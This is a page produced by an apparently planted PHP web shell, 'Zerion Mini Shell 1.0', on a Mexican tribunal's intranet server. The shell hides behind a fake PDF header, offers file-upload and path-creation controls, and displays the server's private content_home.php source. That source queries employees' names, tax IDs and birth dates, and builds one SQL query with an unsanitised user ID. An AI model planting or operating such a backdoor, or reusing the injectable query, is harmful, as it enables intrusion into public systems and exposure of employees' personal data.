%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/content_home.php

<?php

$conf = new Configuracion();

$conf->conectarBD();



//Consulta datos de la persona desde oficialia rh

$consulta = "SELECT e.nombre,p.puesto,e.rfc

                            FROM tjam_empleados e 

                            JOIN tjam_puestos p 

                            ON (e.id_puesto = p.id_puesto)

                            WHERE e.id = $id_usuario AND e.habilitado=1";

$rst1 = $conf->consulta($consulta);



if (count($rst1) > 0) {

  $nombre = $rst1[0]['nombre'];

  $puesto = $rst1[0]['puesto'];

  $rfc = $rst1[0]['rfc'];

}



$id_rol = isset($_SESSION['id_rol']) ? $_SESSION['id_rol'] : '0';

$error = isset($_REQUEST['error']) ? $_REQUEST['error'] : '0';


?>

<script type="text/javascript" src="common/jsCalendar_v1.4.4/source/jsCalendar.js"></script>



<script type="text/javascript" src="common/jsCalendar_v1.4.4/source/jsCalendar.lang.es.js"></script>

<link rel="stylesheet" type="text/css" href="common/jsCalendar_v1.4.4/source/jsCalendar.css">



<style type="text/css">
  .description {

    text-align: center;

    padding-bottom: 40px;

  }



  .jsCalendar.clean-theme tbody td.jsCalendar-previous,

  .jsCalendar.clean-theme tbody td.jsCalendar-next {

    color: #000;

    opacity: 0.2;

  }



  #wrapper .jsCalendar table {

    box-shadow: none;

  }



  .clear {

    clear: both;

  }



  #events-calendar {

    float: left;

  }



  #events {

    float: left;

    width: 600px;

    margin: 10px 20px 10px 5px;

  }



  #events .title {

    padding: 5px 0px;

    text-align: center;

    font-weight: bold;

    border-bottom: 1px solid rgba(0, 0, 0, 0.4);

  }



  #events .subtitle {

    padding: 5px 0px;

    font-size: 14px;

    text-align: center;

    color: #888;

  }



  #events .list {

    height: 250px;

    overflow-y: auto;

    border-bottom: 1px solid rgba(0, 0, 0, 0.2);

  }



  #events .list .event-item {

    line-height: 24px;

    min-height: 24px;

    padding: 2px 5px;

    border-top: 1px solid rgba(0, 0, 0, 0.2);

  }



  #events .list .event-item .close {

    font-family: Tahoma, Geneva, sans-serif;

    font-weight: bold;

    font-size: 12px;

    color: #000;

    border-radius: 8px;

    height: 14px;

    width: 14px;

    line-height: 12px;

    text-align: center;

    float: right;

    border: 1px solid rgba(0, 0, 0, 0.5);

    padding: 0px;

    margin: 5px;

    display: block;

    overflow: hidden;

    background: #F44336;

    cursor: pointer;

  }



  #events .action {

    text-align: right;

  }



  #events .action input {

    padding: 0px 5px;

    font-size: 12px;

    margin: 10px 5px;

    border: 1px solid #999999;

    height: 28px;

    line-height: 28px;

    width: 120px;

    background: #f8f8f8;

    color: black;

    cursor: pointer;

    transition: all 0.2s;

  }



  a:hover img {

    transform: scale(1.03);
    /* efecto zoom */

    box-shadow: 0 8px 25px rgba(0, 0, 0, 0.4);

  }



  #events .action input:hover {

    background: #eee;

    border: 1px solid #000;

    box-shadow: 0px 0px 3px rgba(0, 0, 0, 0.2);

  }
</style>

<div id="title-breadcrumb-option-demo" class="page-title-breadcrumb">

  <div class="clearfix">

    <h4>INTRANET TAAM</h4>

  </div>

</div>

<div class="page-content">

  <div class="row">

    <div class="col-md-12">

      <div id="generalTabContent" class="tab-content">

        <div id="tab-messages" class="tab-pane fade in active">

          <h1>Avisos</h1>

          <div class="portlet box">

            <div style="margin:30px 0; text-align:center;">

              <a href="https://intranet.tjamich.gob.mx/intranet/sistemas/oficios/documentos/2025/09/23/323c2ed3c59d058cb56f9759b642619e.pdf"
                target="_blank" style="display:inline-block; text-decoration:none;">

                <img src="common/images/Banner Jueza Uruapan.png" alt="Banner Publicitario"
                  style="width:100%; max-width:900px; border-radius:15px; box-shadow:0 4px 15px rgba(0,0,0,0.3); transition:transform 0.3s ease, box-shadow 0.3s ease;">

              </a>

            </div>

          </div>

        </div>

      </div>

      <div id="generalTabContent" class="tab-content">

        <div id="tab-messages" class="tab-pane fade in active">



          <div class="portlet box">

            <div class="portlet-body">

              <?php

              //echo session_save_path();
              
              //echo $id_rol;
              
              //if($id_rol == 1 || $id_rol == 6)
              
              //{
              
              ?>

              <div class="row mbm">

                <div class="col-lg-9">

                  <div class="table-responsive">

                    <div id="events-calendar" data-language="es" data-day-format="DDD"></div>

                    <div id="events"></div>

                    <div class="clear"></div>

                  </div>

                </div>

                <div class="col-lg-3">

                  <img src="common/images/Logo-TJAM.png" width="300" height="300" class="center">

                </div>



                <div class="clear"></div>



                <br>

              </div>

              <?php

              //}
              
              //else
              
              //{
              
              //echo $id_rol;
              
              ?>



              <?php

              //}
              
              ?>

            </div>

          </div>



        </div>

      </div>

    </div>

  </div>

</div>
<?php
//include 'modalCredenciales.php';
?>

<script type="text/javascript">


  // Get elements

  var elements = {

    // Calendar element

    calendar: document.getElementById("events-calendar"),

    // Input element

    events: document.getElementById("events")

  }



  // Create the calendar

  elements.calendar.className = "clean-theme";

  var calendar = jsCalendar.new(elements.calendar);



  // Create events elements

  elements.title = document.createElement("div");

  elements.title.className = "title";

  elements.events.appendChild(elements.title);

  elements.subtitle = document.createElement("div");

  elements.subtitle.className = "subtitle";

  elements.events.appendChild(elements.subtitle);

  elements.list = document.createElement("div");

  elements.list.className = "list";

  elements.events.appendChild(elements.list);

  elements.actions = document.createElement("div");

  elements.actions.className = "action";

  elements.events.appendChild(elements.actions);

  /*elements.addButton = document.createElement("input");

  elements.addButton.type = "button";

  elements.addButton.value = "Add";

  elements.actions.appendChild(elements.addButton);*/



  var events = {};

  var date_format = "DD/MM/YYYY";

  var current = null;



  var showEvents = function (date) {

    // Date string

    var id = jsCalendar.tools.dateToString(date, date_format, "es");

    // Set date

    current = new Date(date.getTime());

    // Set title

    elements.title.textContent = id;

    // Clear old events

    elements.list.innerHTML = "";

    // Add events on list

    if (events.hasOwnProperty(id) && events[id].length) {

      // Number of events

      elements.subtitle.textContent = events[id].length + " " + ((events[id].length > 1) ? "eventos de cumpleaños" : "evento de cumpleaños");



      var div;

      var close;

      // For each event

      for (var i = 0; i < events[id].length; i++) {

        div = document.createElement("div");

        div.className = "event-item";

        div.innerHTML = (i + 1) + ". " + events[id][i].name;

        elements.list.appendChild(div);

        /*close = document.createElement("div");

        close.className = "close";

        close.textContent = "×";

        div.appendChild(close);

        close.addEventListener("click", (function(date, index) {

          return function() {

            removeEvent(date, index);

          }

        })(date, i), false);*/

      }

    } else {

      elements.subtitle.textContent = "No hay eventos";

    }

  };




















  // on page loaded
  document.addEventListener("DOMContentLoaded", function () {
    console.log("loaded");
    //showModalCredenciales();
  });

  // modal de nuevas credenciales 
  function showModalCredenciales() {
    //$('#modal_firma').modal('show');
  }



























  // Show current date events

  showEvents(new Date());



  // Add events

  calendar.onDateClick(function (event, date) {

    // Update calendar date

    calendar.set(date);

    // Show events

    showEvents(date);

  });





  <?php





  //Consulta datos de la persona d
  
  $consulta = 'SELECT CONCAT(e.nombre," ",e.apellido1," ",e.apellido2) nombre, p.puesto, a.area, e.rfc, e.fecha_nacimiento 

                            FROM tjam_empleados e 

                            JOIN tjam_puestos p ON (e.id_puesto = p.id_puesto)

                            JOIN tjam_areas a ON (e.id_area = a.id_area)

                            WHERE  e.habilitado=1 AND e.id_estatus <> 6 AND e.fecha_nacimiento LIKE "%-%"';

  $rst1 = $conf->consulta($consulta);



  for ($i = 0; $i < count($rst1); $i++) {

    $nacimiento = explode("-", $rst1[$i]['fecha_nacimiento']);

    $dia = intval($nacimiento[2]);

    $mes = intval($nacimiento[1] - 1);

    $anio = date("Y");



    $nombre = $rst1[$i]['nombre'];

    $puesto = $rst1[$i]['puesto'];

    $area = $rst1[$i]['area'];

    echo '

        var pepito = new Date(' . $anio . ',' . $mes . ',' . $dia . ');

        cargarMensaje(pepito, "<b>' . $nombre . ' - <i>' . $area . '</b> - ' . $puesto . '</i>");

      

        ';



  }

  ?>





  function cargarMensaje(fecha, mensaje) {

    var id = jsCalendar.tools.dateToString(fecha, date_format, "es");

    // If no events, create list

    if (!events.hasOwnProperty(id)) {

      // Select date

      calendar.select(current);

      // Create list

      events[id] = [];

    }

    events[id].push({

      name: mensaje

    });

    // Refresh events: Mostramos los eventos del día actual.

    showEvents(current);

  }

</script>

Zerion Mini Shell 1.0